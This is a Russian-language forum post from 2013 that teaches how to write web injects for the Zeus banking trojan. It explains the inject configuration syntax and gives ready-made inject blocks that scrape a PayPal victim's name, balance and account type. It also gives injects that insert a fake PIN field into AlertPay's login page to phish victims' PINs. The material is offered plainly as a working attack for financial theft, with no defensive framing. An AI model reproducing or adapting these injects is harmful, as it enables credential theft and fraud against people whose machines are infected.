View Single Post
  #1 Old 08-22-2013, 09:23 PM
Cartographer
 
Cartographer's Avatar
 
Join Date: Aug 2013
Posts: 511
Cartographer is on a distinguished road
Default Практика написания инжектов для Zeus на примере Pa

Всем привет, в этой статье я покажу на практике как написать инжекты для граббинга баланса, типа, имени холдера.Для работы нам потребуется локальный веб-сервер, билдер и админка зевса,текстовый редактор,браузер опера(по желанию,но в статье буду работать именно с ним) и акк палки.
1.Настройка ПО.
Ставим веб-сервер,зевса.Про это много статей,описывать все по новой небуду.Ставим браузер и редактор.Прошу обратить внимание что в разных браузерах html код обрабатывается по разному.
2.Граббим данные с PayPal.
Для работы я буду использовать свой РУ акк,это неначто по большому счету невлияет.
И так,после входа в ПС видим наизусть знакомый нам интерфейс системы. Что будем грабить с этого акка это имя,баланс,тип.
Жмем правой кнопкой на пустом месте в странице, в контекстном меню выбираем “Проинспектировать элемент” .Увидем следущее:



Красным я выделил данные которые будем собирать.
Начнем с имени, шелкаем лкм на нем,раскрываем код:



Сделаю небольшое отступление, приведу вырезку по тэгам и флагам.
Цитата:
URL - URL на которую должен срабатывать веб-инжект, можно использовать маску.
флаги - определяет основное условие загрузки, может состоять из нескольких флагов в любом порядке, но с учетом регистра. В настоящее время доступны следующие флаги:
P - запускать веб-инжект при POST запросе на URL.
G - запускать веб-инжект при GET запросе на URL.
L - изменяет предназначение веб-инжекта, если указать этот флаг, то будет получен нужный кусок данных и немедленно сохранен в лог.
F - дополняет флаг L, позволяет записывать результат не в лог, а в отдельный файл.
H - дополняет флаг L, сохраняет нужный кусок данных без вырезания тегов.
D - запускать веб-инжект раз в 24 часа.
После указания URL, со следующей строки начинается перечисление веб-инжектов, которое длится до тех пор, пока не достигнут конец файла или не задана новая URL при помощи очередной записи set_url. Один веб-инжект состоит из трех элементов:
Без флага L:
data_before - маска данных после которых нужно записать новые данные.
data_after - маска данных перед которыми следует записать новые данные.
data_inject - новые данные, на которые будет заменено содержимое между data_before, data_after.
С флагом L:
data_before - маска данных после которых начинается кусок получаемых данных.
data_after - маска данных перед которыми кончается кусок получаемых данных.
data_inject - играет роль заголовка для получаемых данных, нужен лишь для визуального выделения в логах.
Проще говоря data_before ставится перед началом места что будем грабить или откуда будут записываться наши данные, data_after закрывает наш инжект,а data_inject это данные которые будут записаны(html код),при флаге L его можно неставить.Разберем на примере.
На скриншоте я указал где у нас data_before и data_after для граббинга имени.
Для граббинга используется влаг L,поэтому data_inject нас неинтересует.
Как же граббить?
Вначале необходимо установить url при котором он будет запускаться,в нашем случае это сайт paypal.com.Собираем
Код:
Цитата:
set_url https://www.paypal.com/* GPL
Поясняю, set_url-устанавливаем запуск инжекта на наш урл.Далее идет линк
Код:
Цитата:
https://www.paypal.com/*
Сдесь * служит для того чтобы при любом пути(webscr?cmd=_login-done&login_access=1303313700, webscr?cmd=_login-done&login_access=100500 и тд) сработал инжект,в зависимости от стран линк меняется.Например:
Код:
Цитата:
https://www.paypal.com/us/
https://www.paypal.com/de
/
и тд.Далее идут флаги GPL.GP для того чтобы инжект запускался при пост и гет запросах,L указывает на то что будем грабить данные.
Расставляем наши метки,для этого ищем подходящие теги в сорце страницы,в нашем случае это <h2> и </h2>.Помещаем в data_before тег <h2>.
data_inject оставляем пустыми.
Цитата: set_url https://www.paypal.com/* GPL
data_before
<h2>
data_end
data_inject
data_end

Закрываем инжект, </h2> находится в конце нужным нам данных,указываем его в data_after.
Цитата:
set_url https://www.paypal.com/* GPL
data_before
<h2>
data_end
data_inject
data_end
data_after
</h2>
data_end
Вот и все,наш 1 инжект готов)Небольшое отступление,вы заметили «<!--googleoff: all-->» и спросите почему он несграбился,этого неслучилось потому-что мы непоставили флаг H,установите его,тогда будут грабиться и теги.
По анологии создаем для грабинга баланса,статуса,типа.Главное понять где правильно указать начало и конец сграбираевымых данных,смотрим в сорц страницы.



Сдесь мы будем вырезать данные от «<li class="balance">» и заканчивать на «</span>».Почему не начинать с «<strong>» и заканчивать на «</strong>»?Представьте что между тэгами strong хранятся еще куча других данных которые нас совсем не интересуют,зевс сграбит и их,в этоге получи нужные нам данные,но с примесью мусора. А «<li class="balance">» говорит нам что категория называется баланс.Готовый инжект будет выглядеть так:
Цитата:
set_url https://www.paypal.com/* GPL
data_before
<li class="balance">
data_end
data_inject
data_end
data_after
</span>
data_end
Все впринципе думаю уже ясно,приведу примеры для грабинга типа аккаунта.
Цитата:
set_url https://www.paypal.com/* GPL
data_before
<li class="accTypeList metaDataFirst">
data_end
data_inject
data_end
data_after
</li>
data_end
3.Получаем дополнительные данные.
Сдесь приведу на примере alertpay.com.Дополнительное поле для граббинга PIN.Флаг L больше нам ненужен,будем использовать только GP.
Открываем сорц страницы входа в алерт.Находим место где идет код логина и пароля.Будем ставить дополнительное поле после пароля.Смотрим на скриншот.



Красным я выделил начало и конец кода который будем использовать,то есть
Цитата:
<div class="fielditem">
<label for="ctl00_main_loginInfo_txtNewPassword" id="ctl00_main_loginInfo_litPassword">Password</label><br />
<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
</div>
Теперь заменяем слово Password на слово PIN.Получаем:
Цитата:
<div class="fielditem">
<label for="ctl00_main_loginInfo_txtNewPIN" id="ctl00_main_loginInfo_litPIN">PIN</label><br />
<input name="ctl00$main$loginInfo$txtNewPIN" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPIN" tabindex="2" />
</div>
Этот код мы будем инжектить в страницу с помошью тэга data_inject.Теперь нужно все правильно расставить.Из кода смотрим вначале метку для data_before,нам подходит
Цитата:
<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
Заметьте,я добавлю еще кусочек кода от формы пароля(закрывающий </div>).Теперь ставим наш инжект
Цитата:
set_url https://www.alertpay.com/login.aspx GP
data_before
<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
data_end
data_inject
</div>
<div class="fielditem">
<label for="ctl00_main_loginInfo_txtPin" id="ctl00_main_loginInfo_litPassword">Pin</label>
<br/>
<input name="ctl00$main$loginInfo$txtPin" type="password" maxlength="30" id="ctl00_main_loginInfo_txtPin" tabindex="2"/>
</div>
data_end
И закрываем его.
Цитата:
data_after
<div class="message">
data_end
В итоге html код алертпая теперь будет таким:



Теперь пользователь перед входом в акк перед собой увидет



Полный код инжект для страницы входа и главной.
Цитата:
set_url https://www.alertpay.com/login.aspx GP
data_before
<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
data_end
data_inject
</div>
<div class="fielditem">
<label for="ctl00_main_loginInfo_txtPin" id="ctl00_main_loginInfo_litPassword">Pin</label>
<br/>
<input name="ctl00$main$loginInfo$txtPin" type="password" maxlength="30" id="ctl00_main_loginInfo_txtPin" tabindex="2"/>
</div>
data_end
data_after
<div class="message">
data_end
set_url https://www.alertpay.com/* GP
data_before
<input name="Password" type="password" class="textfield" />
data_end
data_inject
</td>
</tr>
<tr>
<td align="right">
Pin:
</td>
<td>
<input name="Pin" type="password" class="textfield" />
</td>
</tr>
data_end
data_after
<td colspan="2" style="padding:
data_end
Вот и все.Статья была написана с промежутками по времени и по мере возможности.Будут нестыковки и недочеты-пишите поправлю)

Автор статьи sweet_hack
Cartographer is offline   Reply With Quote